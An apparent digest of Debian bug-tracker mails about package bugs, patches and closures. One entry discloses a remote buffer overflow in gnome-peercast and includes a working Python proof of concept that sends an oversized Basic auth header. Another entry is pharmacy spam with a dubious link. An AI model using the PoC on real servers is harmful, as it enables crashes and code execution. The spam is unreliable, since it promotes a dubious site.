Processed: setting package to python-xpcom xulrunner-dev-bin xulrunner-1.9 libmozjs1d libmozillainterfaces-java libmozjs1d-dbg xulrunner xulrunner-dev xulrunner-1.9-dbg libmozjs-dev xulrunner-1.9-comm
Processing commands for [EMAIL PROTECTED]: # Automatically generated email from bts, devscripts version 2.10.26 # # xulrunner (1.9~b5-4) UNRELEASED; urgency=low # # * debian/python-xpcom.install, debian/rules: Put python-xpcom files under #/usr/lib/pythonX.Y/site-packages. Closes: #478527. # package python-xpcom xulrunner-dev-bin xulrunner-1.9 libmozjs1d libmozillainterfaces-java libmozjs1d-dbg xulrunner xulrunner-dev xulrunner-1.9-dbg libmozjs-dev xulrunner-1.9-common spidermonkey-bin xulrunner-1.9-gnome-support Ignoring bugs not assigned to: python-xpcom xulrunner-1.9 xulrunner-dev-bin libmozjs1d libmozillainterfaces-java xulrunner libmozjs1d-dbg xulrunner-dev xulrunner-1.9-dbg xulrunner-1.9-common libmozjs-dev spidermonkey-bin xulrunner-1.9-gnome-support tags 478527 + pending Bug#478527: python-xpcom: depends on bogus Python version current There were no tags set. Tags added: pending End of message, stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#478527: setting package to python-xpcom xulrunner-dev-bin xulrunner-1.9 libmozjs1d libmozillainterfaces-java libmozjs1d-dbg xulrunner xulrunner-dev xulrunner-1.9-dbg libmozjs-dev xulrunner-1.9-com
# Automatically generated email from bts, devscripts version 2.10.26 # # xulrunner (1.9~b5-4) UNRELEASED; urgency=low # # * debian/python-xpcom.install, debian/rules: Put python-xpcom files under #/usr/lib/pythonX.Y/site-packages. Closes: #478527. # package python-xpcom xulrunner-dev-bin xulrunner-1.9 libmozjs1d libmozillainterfaces-java libmozjs1d-dbg xulrunner xulrunner-dev xulrunner-1.9-dbg libmozjs-dev xulrunner-1.9-common spidermonkey-bin xulrunner-1.9-gnome-support tags 478527 + pending -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#470882: /dev/gpmctl freezes acknowledge
Package: gpm Version: 1.20.3~pre3-3 Followup-For: Bug #470882 Hi, I have this problem on my box and another two boxes at home too. Gpm enabled applications freezes on communication with gpm. When I switch to the console to see if mouse is functional under gpm right now (aptitude hangs in rxvt) - mouse moves ok in text console. Applications (aptitude, module-assistant,...) revive after gpm restart. This problem appears several times a day for me. It is sufficient to enter/quit aptitude or m-a six times (perhaps exactly six times!) and problem arises (I check this several times with aptitude now). Seventh enter is lockup. When I leave locked aptitude in rxvt, switch to the text console, move around mouse a moment, go back into the X-Window, aptitude revives. Best Regards -- Zito -- System Information: Debian Release: lenny/sid APT prefers unstable APT policy: (500, 'unstable') Architecture: i386 (i686) Kernel: Linux 2.6.24-1-686 (SMP w/2 CPU cores) Locale: LANG=C, LC_CTYPE=cs_CZ.ISO-8859-2 (charmap=ISO-8859-2) Shell: /bin/sh linked to /bin/bash Versions of packages gpm depends on: ii debconf [debconf-2.0] 1.5.21Debian configuration management sy ii debianutils2.28.5Miscellaneous utilities specific t ii libc6 2.7-10GNU C Library: Shared libraries ii libgpmg1 1.20.3~pre3-3 General Purpose Mouse - shared lib ii lsb-base 3.2-11Linux Standard Base 3.2 init scrip ii ucf3.006 Update Configuration File: preserv gpm recommends no packages. -- debconf information: * gpm/responsiveness: 16 * gpm/repeat_type: * gpm/append: -S * gpm/restart: false * gpm/sample_rate: * gpm/type: imps2 * gpm/device: /dev/input/mice * gpm/restart_default: false -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#478156: elinks_0.12~20080127-3(sparc/experimental): FTBFS: error: assuming signed overflow does not occur when assuming that (X + c) X is always false
Frank Lichtenheld [EMAIL PROTECTED] writes: | [CC] src/main/event.o | cc1: warnings being treated as errors | /build/buildd/elinks-0.12~20080127/src/main/event.c: In function 'unregister_event_hook': | /build/buildd/elinks-0.12~20080127/src/util/math.h:36: error: assuming signed overflow does not occur when assuming that (X + c) X is always false The code in unregister_event_hook() is: | for (i = 0; i event-count; i++) { | if (event-handlers[i].callback != callback) | continue; | | move_event_handler(event, i, i + 1); which calls: | static inline void | move_event_handler(struct event *event, int to, int from) | { | int d = int_max(to, from); which is defined in src/util/math.h as: | static inline int | int_max(register int x, register int y) | { | if (x y) return x; | return y; | } So GCC warns about the i i + 1 comparison. I think the i + 1 is very unlikely to overflow in practice, although it is possible because event-count is unsigned int and i is signed int. Also, the overflow would need a 64-bit machine because otherwise register_event_hook() would run out of memory first. However, there are other places in ELinks where signed overflows are possible and are expected to wrap around. The one such place I know about is parse_bencoding_integer(). You should therefore compile ELinks with -fno-strict-overflow or -fwrapv. I will add one of those to the configure script when I have time. pgpofBDxOye4F.pgp Description: PGP signature
Bug#478662: dhcp3: Missing slapd dependency in init.d LSB header
Package: dhcp3 Version: 3.1.0-4 Severity: serious Tags: patch User: [EMAIL PROTECTED] Usertags: incorrect-dependency With the introduction of the dhcp3-server-ldap package, it is important to start it after slapd, to make sure the LDAP server is available when the dhcpd configuration is to be extracted from LDAP. This is not currently reflected in the init.d dependency header, and this results in the wrong boot order when dependency based boot sequencing is enabled. The attached patch solve the issue. I set severity to serious, as this bug break the main-server installation in Debian Edu. We are using dependency based boot sequencing and have the LDAP and LDAP-based DHCP server on the same machine. diff -u dhcp3-3.1.0/debian/dhcp3-server.init.d dhcp3-3.1.0/debian/dhcp3-server.init.d --- dhcp3-3.1.0/debian/dhcp3-server.init.d +++ dhcp3-3.1.0/debian/dhcp3-server.init.d @@ -7,8 +7,8 @@ # Provides: dhcp3-server # Required-Start:$remote_fs $network $syslog # Required-Stop: $remote_fs $network $syslog -# Should-Start: $local_fs -# Should-Stop: $local_fs +# Should-Start: $local_fs slapd +# Should-Stop: $local_fs slapd # Default-Start: 2 3 4 5 # Default-Stop: 0 1 6 # Short-Description: DHCP server Happy hacking, -- Petter Reinholdtsen -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#42158: Is the medicine you need to live making you broke? Reduced prices on all brands
We have all medicine you need Look at how low our Rx products are http://www.cubebnorrut.com The morning of the eleventh day dawned, and there returned no Deesa, Moti Guj was loosed from his ropes for the daily stint. He swung clear, looked round, shrugged his shoulders, and began to walk away, as one having business elsewhere. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#472180: Bug #472180: Xprt hogging CPU
Here is the top of a gprof analysis. I'm wondering if the Xkb references indicate that it is the problem. I can hypothesise that some changes in the general Xserver code touched upon Xkb, expecting the DDX to initialise it appropriately. Since Xprint does not use Xkb, it doesn't handle it in any explicit way. Could Xkb be spinning, waiting for the Xprint DDX to tell it to go away and stop being annoying? This Xkb hypothesis is corroborated by https://bugs.freedesktop.org/show_bug.cgi?id=13063 Function/Method Count Total (s)% Self (s) Total ms/call Self ms/call Dispatch1 0.150 68.200 0.030 150.000 30.000 WaitForSomething 14445610.060 27.300 0.060 0.0000.000 __i686.get_pc_thunk.bx 0 0.060 27.300 0.060 0.0000.000 FlushIfCriticalOutputPending 14445610.060 27.300 0.060 0.0000.000 XkbRF_LoadRules 1 0.010 4.500 0.000 10.0000.000 XkbInitKeyboardDeviceStruct 1 0.010 4.500 0.000 10.0000.000 XkbDDXNamesFromRules1 0.010 4.500 0.000 10.0000.000 GetInputLine 8330.010 4.500 0.010 0.0100.010 CoreKeyboardProc3 0.010 4.500 0.000 3.3300.000 InitAndStartDevices 1 0.010 2.300 0.000 5.0000.000 EnableDevice4 0.000 1.500 0.000 0.8300.000 CloseDownDevices1 0.000 1.500 0.000 3.3300.000 CloseDevice 4 0.000 1.500 0.000 0.8300.000 ActivateDevice 4 0.000 1.500 0.000 0.8300.000 InitCoreDevices 1 0.000 0.800 0.000 1.6700.000 -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#478284: marked as done (Project creation using catalyst.pl does not create a working project.)
Your message dated Wed, 30 Apr 2008 09:17:04 + with message-id [EMAIL PROTECTED] and subject line Bug#478284: fixed in libcatalyst-perl 5.7012-7 has caused the Debian Bug report #478284, regarding Project creation using catalyst.pl does not create a working project. to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact [EMAIL PROTECTED] immediately.) -- 478284: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=478284 Debian Bug Tracking System Contact [EMAIL PROTECTED] with problems ---BeginMessage--- Package: libcatalyst-perl Version: 5.7012-6 Severity: grave Hi, If I try to create a new project using catalyst.pl project-name and try to run the internal server, it fails with an error that looks like this: [EMAIL PROTECTED]:~/play/projects/Experiment$ ./script/experiment_server.pl Can't locate parent.pm in @INC (@INC contains: /home/abhijit/play/projects/Experiment/script/../lib /etc/perl /usr/local/lib/perl/5.8.8 /usr/local/share/perl/5.8.8 /usr/lib/perl5 /usr/share/perl5 /usr/lib/perl/5.8 /usr/share/perl/5.8 /usr/local/lib/site_perl .) at /home/abhijit/play/projects/Experiment/script/../lib/Experiment.pm line 16. BEGIN failed--compilation aborted at /home/abhijit/play/projects/Experiment/script/../lib/Experiment.pm line 16. Compilation failed in require at ./script/experiment_server.pl line 55. How ever, if I download parent.pm from http://search.cpan.org/src/CORION/parent-0.221/lib/parent.pm the server starts up as expected. Installing the package 'libparent-perl' also achieves the same result. thanks, Abhijit. -- System Information: Debian Release: 4.0 APT prefers unstable APT policy: (500, 'unstable'), (500, 'testing'), (1, 'experimental') Architecture: i386 (i686) Kernel: Linux 2.6.25 (SMP w/2 CPU cores) Locale: LANG=en_IN, LC_CTYPE=en_IN (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash Versions of packages libcatalyst-perl depends on: ii libcgi-simple-perl1.103-2A Simple totally OO CGI interface ii libclass-accessor-perl0.31-2 Automated accessor generator ii libclass-c3-perl 0.19-2 A pragma to use the C3 method reso ii libclass-data-inheritable-per 0.08-1 Inheritable, overridable class dat ii libclass-inspector-perl 1.20-1 Perl module that provides informat ii libdata-dump-perl 1.08-3 Pretty printing of data structures ii libextutils-autoinstall-perl 0.61-1.1 Automatic install of dependencies ii libfile-copy-recursive-perl 0.35-2 Perl extension for recursively cop ii libfile-modified-perl 0.07-1 checks intelligently if files have ii libfile-slurp-perl.12-2 single call read write file rout ii libhtml-parser-perl 3.55-1 A collection of modules that parse ii libhttp-body-perl 1.02-1 HTTP Body object ii libhttp-request-ascgi-perl0.5-2 Setup a CGI enviroment from a HTTP ii libmime-types-perl1.23-1 Perl extension for determining MIM ii libmodule-install-perl0.68-2 A Cornucopiaelig of Module::Instal ii libmodule-pluggable-perl 3.6-2 Automatically provide your module ii libpath-class-perl0.16-0.1 Cross-platform path specification ii libtest-mockobject-perl 1.08-1 Perl extension for emulating troub ii libtext-simpletable-perl 0.03-1 Simple Eyecandy ASCII Tables ii libtree-simple-perl 1.18-1 A simple tree object ii libtree-simple-visitorfactory 0.10-1 A collection of dispensing visitor ii liburi-perl 1.35-2 Manipulates and accesses URI strin ii libwww-perl 5.805-1WWW client/server library for Perl ii perl 5.8.8-12 Larry Wall's Practical Extraction Versions of packages libcatalyst-perl recommends: ii libfcgi-perl 0.67-2 FastCGI Perl module -- no debconf information ---End Message--- ---BeginMessage--- Source: libcatalyst-perl Source-Version: 5.7012-7 We believe that the bug you reported is fixed in the latest version of libcatalyst-perl, which is due to be installed in the Debian FTP archive: libcatalyst-perl_5.7012-7.diff.gz to pool/main/libc/libcatalyst-perl/libcatalyst-perl_5.7012-7.diff.gz libcatalyst-perl_5.7012-7.dsc to pool/main/libc/libcatalyst-perl/libcatalyst-perl_5.7012-7.dsc libcatalyst-perl_5.7012-7_all.deb to pool/main/libc/libcatalyst-perl/libcatalyst-perl_5.7012-7_all.deb A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them
Bug#478680: [gnome-peercast] remote stack-based buffer overflow in HTTP::getAuthUserPass function
Package: gnome-peercast Version: 0.5.4-1.1 Severity: grave Tags: security X-Debbugs-CC: [EMAIL PROTECTED] Hi, I found a security issue in the peercast server which also affects gnome-peercast. I contacted the upstream author of peercast 6 days ago without any reply so far. Here are the details: From core/common/http.cpp: 105 void HTTP::getAuthUserPass(char *user, char *pass) 106 { 107 if (arg) 108 { 109 char *s = stristr(arg,Basic); 110 if (s) 111 { 112 while (*s) 113 if (*s++ == ' ') 114 break; 115 String str; 116 str.set(s,String::T_BASE64); 117 str.convertTo(String::T_ASCII); 118 s = strstr(str.cstr(),:); 119 if (s) 120 { 121 *s = 0; 122 if (user) 123 strcpy(user,str.cstr()); 124 if (pass) 125 strcpy(pass,s+1); This function is used if authentication to the gnome-peercast server is done by basic http auth which is the case in the standard configuration of gnome-peercast. In line 116 the base64 encoded string is copied into str. Note the set method is peercasts/gnome-peercasts own implementation of set since it reimplements the String class. set looks like this: From core/common/sys.h: 38 MAX_LEN = 256 ... 62 void set(const char *p, TYPE t=T_ASCII) 63 { 64 strncpy(data,p,MAX_LEN-1); 65 data[MAX_LEN-1] = 0; 66 type = t; 67 } In line 117 the string gets decoded and in line 118 and following the part before ':' in the decoded string gets copied into user and the part after it into pass. From core/common/servhs.cpp: 558 bool Servent::handshakeAuth(HTTP http,const char *args,bool local) 559 { 560 char user[64],pass[64]; 561 user[0] = pass[0] = 0; ... 580 while (http.nextHeader()) 581 { 582 char *arg = http.getArgStr(); 583 if (!arg) 584 continue; 585 586 switch (servMgr-authType) 587 { 588 case ServMgr::AUTH_HTTPBASIC: 589 if (http.isHeader(Authorization)) 590 http.getAuthUserPass(user,pass); 591 break; user and pass are only declared to have 64 bytes (line 558) while the buffer used for copy can store up to MAX_LEN (256) bytes (ok minus the : here). Servent::handshakeAuth calls then the getAuthUserPass function triggering a buffer overflow. It's thus possible to crash the server and execute arbitrary code if the server allows http-basic authentication. I already requested a CVE id for this. PoC attached. Kind regards Nico -- Nico Golde - http://www.ngolde.de - [EMAIL PROTECTED] - GPG: 0x73647CFF For security reasons, all text in this mail is double-rot13 encrypted. #!/usr/bin/env python import sys, socket port = 7144 buff = 'GET /http/ HTTP/1.1\n' buff+= 'Connection: close\n' buff+= 'Accept: */*\n' buff+= 'Authorization: Basic OmZ' + 'vb29'*128 + 'vbwo=' + '\r\n' if(len(sys.argv) 2): print ERR: please specify a hostname sys.exit(-1) try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((sys.argv[1], port)) s.send(buff); except: print ERR: socket() sys.exit(-1) pgpwqmFzZx70X.pgp Description: PGP signature
Processed: tagging 447007
Processing commands for [EMAIL PROTECTED]: # Automatically generated email from bts, devscripts version 2.10.26 tags 447007 patch Bug#447007: wavsplit: Doesn't support files larger than 2 GB. Tags were: lfs Tags added: patch End of message, stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#478547: grub-install raid1 ext3 failure - regression from Etch
On Tue, Apr 29, 2008 at 11:04:21AM -0700, Mike Bird wrote: Package: grub Version: 0.97-37 Severity: critical Justification: breaks the whole system grub-install '(hd0)' reports The file /boot/grub/stage1 not read correctly. The problem occurs when grub-install is using dump for some kind of verification. The log is written to /tmp file with a random name: # cat grubJM5Q31 GNU GRUB version 0.97 (640K lower / 3072K upper memory) [ Minimal BASH-like line editing is supported. For the first word, TAB lists possible command completions. Anywhere else TAB lists the possible completions of a device/filename. ] grub dump (md0)/grub/stage1 /tmp/grubrakRL1 Error 23: Error while parsing number Please could you test the attached patch? -- Robert Millan GPLv2 I know my rights; I want my phone call! DRM What use is a phone call… if you are unable to speak? (as seen on /.) --- util/grub-install 2008-04-26 19:38:51.0 +0200 +++ /tmp/grub-install 2008-04-30 12:37:34.0 +0200 @@ -125,11 +125,57 @@ sed -n 1p } +## borrowed from update-grub +# Usage: convert_raid1 os_device +# Checks if os_device is a software raid1. +# If so, converts to first physical device in array. +convert_raid1 () +{ +case $1 in +/dev/md[0-9] | /dev/md/[0-9]) +: ;; # Continue +*) +return 1 ;; +esac + +[ -x /sbin/mdadm ] || return 1 + +# Check that the raid device is raid1 +raidlevel=$(mdadm -D -b $1 | grep ^ARRAY | \ +sed s/^.*level=// | cut -d -f1) +[ $raidlevel = raid1 ] || return 1 + +# Take only the first device that makes up the raid +raiddev=$(mdadm -D $1 | grep -A1 Number | grep dev \ + | sed s/^.*\(\/dev\/.*\)$/\1/) +[ -n $raiddev ] || return 1 + +echo $raiddev +return 0 +} + +## borrowed from update-grub (renamed from convert) +# Usage: convert_nonraid os_device +# Convert an OS device to the corresponding GRUB drive. +convert_nonraid () { + if ! test -e ${device_map} ; then + echo quit | grub --batch --no-floppy --device-map=${device_map} /dev/null + fi + GRUB_LEGACY_0_BASED_PARTITIONS=1 grub-probe --device-map=${device_map} -t drive -d $1 +} + +## borrowed from update-grub (renamed from convert_default) # Usage: convert os_device # Convert an OS device to the corresponding GRUB drive. -# This part is OS-specific. convert () { - GRUB_LEGACY_0_BASED_PARTITIONS=1 grub-probe --device-map=${device_map} -t drive -d $1 + # Check if device is software raid1 array + if tmp_dev=$(convert_raid1 $1 2/dev/null) ; then + : # Use device returned by convert_raid1 + else + tmp_dev=$1 + fi + + convert_nonraid $tmp_dev } # Usage: resolve_symlink file
Processed (with 1 errors): Re: Bug#478664: openbox: no menus on right/left/middle click
Processing commands for [EMAIL PROTECTED]: retitle 478664 xrootconsole opens a window on top of the root window Bug#478664: openbox: no menus on right/left/middle click Changed Bug title to `xrootconsole opens a window on top of the root window' from `openbox: no menus on right/left/middle click'. severity 473715 grave Bug#473715: openbox xrootconsole don't play nice anymore Severity set to `grave' from `normal' severity 473714 grave Bug#473714: xrootconsole doesn't play nice with openbox anymore Severity set to `grave' from `important' severity 478664 grave Bug#478664: xrootconsole opens a window on top of the root window Severity set to `grave' from `important' merge 473715 473714 478664 Bug#473714: xrootconsole doesn't play nice with openbox anymore Bug#473715: openbox xrootconsole don't play nice anymore Bug#478664: xrootconsole opens a window on top of the root window Mismatch - only Bugs in same state can be merged: Values for `package' don't match: #473714 has `xrootconsole'; #478664 has `openbox' thanks Stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#411070: marked as done (libsieve2-1: Duplicate file with libmailutils1)
Your message dated Wed, 30 Apr 2008 10:32:05 + with message-id [EMAIL PROTECTED] and subject line Bug#411070: fixed in libsieve 2.2.6-1 has caused the Debian Bug report #411070, regarding libsieve2-1: Duplicate file with libmailutils1 to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact [EMAIL PROTECTED] immediately.) -- 411070: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=411070 Debian Bug Tracking System Contact [EMAIL PROTECTED] with problems ---BeginMessage--- Package: libsieve2-1 Version: 2.2.3-1 Severity: normal -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 libmailutils1 and libsieve2-1 both provide the same abi of libsieve, so that both packages contain »/usr/lib/libsieve.so.1«. However no dependencies prevent the installation of both packages together, which does fail. I suggest that you contact the mailutils maintainer for a solution, e.g. splitting libsieve from libmailutils1 into a seperate package, which can conflict with your package. I think just conflicting with libmailutils1 is no good solution since it would prevent opther packages from being installed. I did not check if your ABI is the same as the ABI from mailutils' libsieve. If that is not the case you probably should contact the upstream author to rename this library. (e.g. libsieve-1.so.1 should be sufficient if the name should be kept.) Thanks, Ingo - -- System Information: Debian Release: 4.0 APT prefers unstable APT policy: (800, 'unstable') Architecture: i386 (i686) Shell: /bin/sh linked to /bin/bash Kernel: Linux 2.6.20-schwan20070209 Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8) -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.6 (GNU/Linux) iD8DBQFF1KYU4XrXtQkN2NURAtyAAKCjEG24u3nTSKiTa13NPABU3ZlYzQCfdA3p HTodLxdsmb1S3ic7UKpigeQ= =pR46 -END PGP SIGNATURE- ---End Message--- ---BeginMessage--- Source: libsieve Source-Version: 2.2.6-1 We believe that the bug you reported is fixed in the latest version of libsieve, which is due to be installed in the Debian FTP archive: libsieve2-1_2.2.6-1_amd64.deb to pool/main/libs/libsieve/libsieve2-1_2.2.6-1_amd64.deb libsieve2-dev_2.2.6-1_amd64.deb to pool/main/libs/libsieve/libsieve2-dev_2.2.6-1_amd64.deb libsieve_2.2.6-1.diff.gz to pool/main/libs/libsieve/libsieve_2.2.6-1.diff.gz libsieve_2.2.6-1.dsc to pool/main/libs/libsieve/libsieve_2.2.6-1.dsc libsieve_2.2.6.orig.tar.gz to pool/main/libs/libsieve/libsieve_2.2.6.orig.tar.gz A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to [EMAIL PROTECTED], and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Jose Luis Tallon [EMAIL PROTECTED] (supplier of updated libsieve package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing [EMAIL PROTECTED]) -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Format: 1.8 Date: Sat, 12 Apr 2008 20:22:45 +0200 Source: libsieve Binary: libsieve2-dev libsieve2-1 Architecture: source amd64 Version: 2.2.6-1 Distribution: unstable Urgency: low Maintainer: Jose Luis Tallon [EMAIL PROTECTED] Changed-By: Jose Luis Tallon [EMAIL PROTECTED] Description: libsieve2-1 - a library for parsing, sorting and filtering your mail libsieve2-dev - a library for parsing, sorting and filtering your mail Closes: 411070 Changes: libsieve (2.2.6-1) unstable; urgency=low . * New upstream version - Updated build-depends (added flex) - Updated to Standards-Version 3.7.3 with no changes . * Conflict with libmailutils1 (Closes: 411070) - temporary fix until maintainer decides to split libsieve.so.1 into another package Checksums-Sha1: 1fc70a5cf27d154eac3924190e182621cc2b80f5 1038 libsieve_2.2.6-1.dsc 5746d56a9ce50ae773a5f690c3163dd0dd6bc8ea 564722 libsieve_2.2.6.orig.tar.gz 98b9f2b45c1ad845c280c58104e13cff22dbcfd5 5147 libsieve_2.2.6-1.diff.gz c71e1e6799ec41395716bf9e25c9d56bff7e9800 106438 libsieve2-dev_2.2.6-1_amd64.deb 15645ded03d40e7da3dde7e09fa17cdfa6eccbc9 83134 libsieve2-1_2.2.6-1_amd64.deb Checksums-Sha256: 0d2d91cbb3fbcb9588c36ca2c783ff981721e5194caab918f79baecf5814c52c 1038 libsieve_2.2.6-1.dsc dce45d73fba98afbffc6fbb6743b3f727cd41d5d3b09ac398a0cb90b21e7f0f0 564722 libsieve_2.2.6.orig.tar.gz f1dbd51183e23613e3c90c2ebb30f799b990a67088efb3cc623622877d84bc9d 5147 libsieve_2.2.6-1.diff.gz 278707b2eae1ef0f0d123b3673151a235a8e1328dcaf9bbf21b1014f2ce657a6 106438 libsieve2-dev_2.2.6-1_amd64.deb
Bug#400066: marked as done (lcdproc_0.5.1-2(powerpc/unstable): FTBFS: impossible constraint in asm)
Your message dated Wed, 30 Apr 2008 10:32:03 + with message-id [EMAIL PROTECTED] and subject line Bug#400066: fixed in lcdproc 0.5.2-1 has caused the Debian Bug report #400066, regarding lcdproc_0.5.1-2(powerpc/unstable): FTBFS: impossible constraint in asm to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact [EMAIL PROTECTED] immediately.) -- 400066: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=400066 Debian Bug Tracking System Contact [EMAIL PROTECTED] with problems ---BeginMessage--- Package: lcdproc Version: 0.5.1-1 Severity: serious There was an error while trying to autobuild your package: Automatic build of lcdproc_0.5.1-1 on peri by sbuild/hppa 85 Build started at 20061123-0719 [...] ** Using build dependencies supplied by package: Build-Depends: debhelper (= 4), texinfo, libncurses5-dev, libusb-dev, doxygen [...] port.h:300: error: impossible constraint in 'asm' port.h:293: error: impossible constraint in 'asm' port.h:300: error: impossible constraint in 'asm' port.h:293: error: impossible constraint in 'asm' port.h:300: error: impossible constraint in 'asm' port.h:293: error: impossible constraint in 'asm' make[4]: *** [serialVFD_io.o] Error 1 make[4]: Leaving directory `/build/buildd/lcdproc-0.5.1/server/drivers' make[3]: *** [all-recursive] Error 1 make[3]: Leaving directory `/build/buildd/lcdproc-0.5.1/server' make[2]: *** [all-recursive] Error 1 make[2]: Leaving directory `/build/buildd/lcdproc-0.5.1' make[1]: *** [all] Error 2 make[1]: Leaving directory `/build/buildd/lcdproc-0.5.1' make: *** [build-stamp] Error 2 A full build log can be found at: http://buildd.debian.org/build.php?arch=hppapkg=lcdprocver=0.5.1-1 ---End Message--- ---BeginMessage--- Source: lcdproc Source-Version: 0.5.2-1 We believe that the bug you reported is fixed in the latest version of lcdproc, which is due to be installed in the Debian FTP archive: lcdproc_0.5.2-1.diff.gz to pool/main/l/lcdproc/lcdproc_0.5.2-1.diff.gz lcdproc_0.5.2-1.dsc to pool/main/l/lcdproc/lcdproc_0.5.2-1.dsc lcdproc_0.5.2-1_amd64.deb to pool/main/l/lcdproc/lcdproc_0.5.2-1_amd64.deb lcdproc_0.5.2.orig.tar.gz to pool/main/l/lcdproc/lcdproc_0.5.2.orig.tar.gz A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to [EMAIL PROTECTED], and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Jose Luis Tallon [EMAIL PROTECTED] (supplier of updated lcdproc package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing [EMAIL PROTECTED]) -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Format: 1.8 Date: Sun, 09 Mar 2008 00:25:50 +0100 Source: lcdproc Binary: lcdproc Architecture: source amd64 Version: 0.5.2-1 Distribution: unstable Urgency: medium Maintainer: Jose Luis Tallon [EMAIL PROTECTED] Changed-By: Jose Luis Tallon [EMAIL PROTECTED] Description: lcdproc- LCD display driver daemon and clients Closes: 400066 Changes: lcdproc (0.5.2-1) unstable; urgency=medium . * New upstream version . * Compilation issues - restrict building to just i386, amd64 (Closes: #400066) . * Packaging - bumped standards-version to 3.7.3 with no changes Checksums-Sha1: 46f97c2b1cbaac528d90791e775988142db917c9 1086 lcdproc_0.5.2-1.dsc 924fca84eb5a07464a3d38df86d9a4427fd06dd7 822695 lcdproc_0.5.2.orig.tar.gz d1353854bda38d6013bb2297e04f4cb09f8795f6 13058 lcdproc_0.5.2-1.diff.gz b6e91dc6c9d0e21b9b2aa7891c2490b10c62b0c5 372716 lcdproc_0.5.2-1_amd64.deb Checksums-Sha256: a7884d7f6d31dcbb8507d75f4eee50569d0683dd5bd072c1b22c6fe179fcaf19 1086 lcdproc_0.5.2-1.dsc 3261910dd9155229a2a6067c82ec4cca0d7900420f2d74c87a24b41b9b961036 822695 lcdproc_0.5.2.orig.tar.gz a7334b536a54d739ebdfe8ff44965d4007a74d620e11875fc27aaf7f5b6b13fc 13058 lcdproc_0.5.2-1.diff.gz 5cd2760632a495a1855482c138f117b4af189bbeb19824acf0ab4feedf8ae16e 372716 lcdproc_0.5.2-1_amd64.deb Files: 7fba7130dfa1e27f6d21b3f20be51727 1086 utils extra lcdproc_0.5.2-1.dsc 860f192d061d87dda6512b11b79daac2 822695 utils extra lcdproc_0.5.2.orig.tar.gz 193b0798972dd935247616871677e15a 13058 utils extra lcdproc_0.5.2-1.diff.gz f956ab58817f5bb5cba724f838d351bc 372716 utils extra lcdproc_0.5.2-1_amd64.deb -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.6 (GNU/Linux) iEYEARECAAYFAkgYSFEACgkQNFDtUT/MKpBEBACgmlswoqWx1M7ZOPTVRlHv3X4S gM4AnjQM+6mkP2WpBv8gaRHGUGuG4A0W =fqoc -END PGP SIGNATURE- ---End Message---
Bug#476050: spandsp: FTBFS: compilation error: file ../wrapper.xsl line 3 element import
severity 476050 important thanks On Mon, 14 Apr 2008, you wrote: This rebuild was done with gcc 4.3 instead of gcc 4.2, because gcc 4.3 is now the default on most architectures (even if it's not the case on i386 yet). Feel free to downgrade this bug to 'important' if your package is only built on i386, and this bug is specific to gcc 4.3 (i.e the package builds fine with gcc 4.2). Lucas, Doesn't look like a gcc 4.2/4.3 bug, rather it looks like xsltproc is trying to access the Internet to download a DTD. Also only effects your buildd, as the official buildd's appear to have Internet connectivity. http://buildd.debian.org/fetch.cgi?pkg=spandsp;ver=0.0.4pre18-1;arch=i386;stamp=1207779762 [...] Generating file member index... cd t38_manual ; xsltproc ../wrapper.xsl ../t38_manual.xml warning: failed to load external entity http://docbook.sourceforge.net/release/xsl/current/xhtml/chunk.xsl; compilation error: file ../wrapper.xsl line 3 element import xsl:import : unable to load http://docbook.sourceforge.net/release/xsl/current/xhtml/chunk.xsl make[2]: *** [t38_manual/index.html] Error 5 xsltproc does have a --nonet option, but 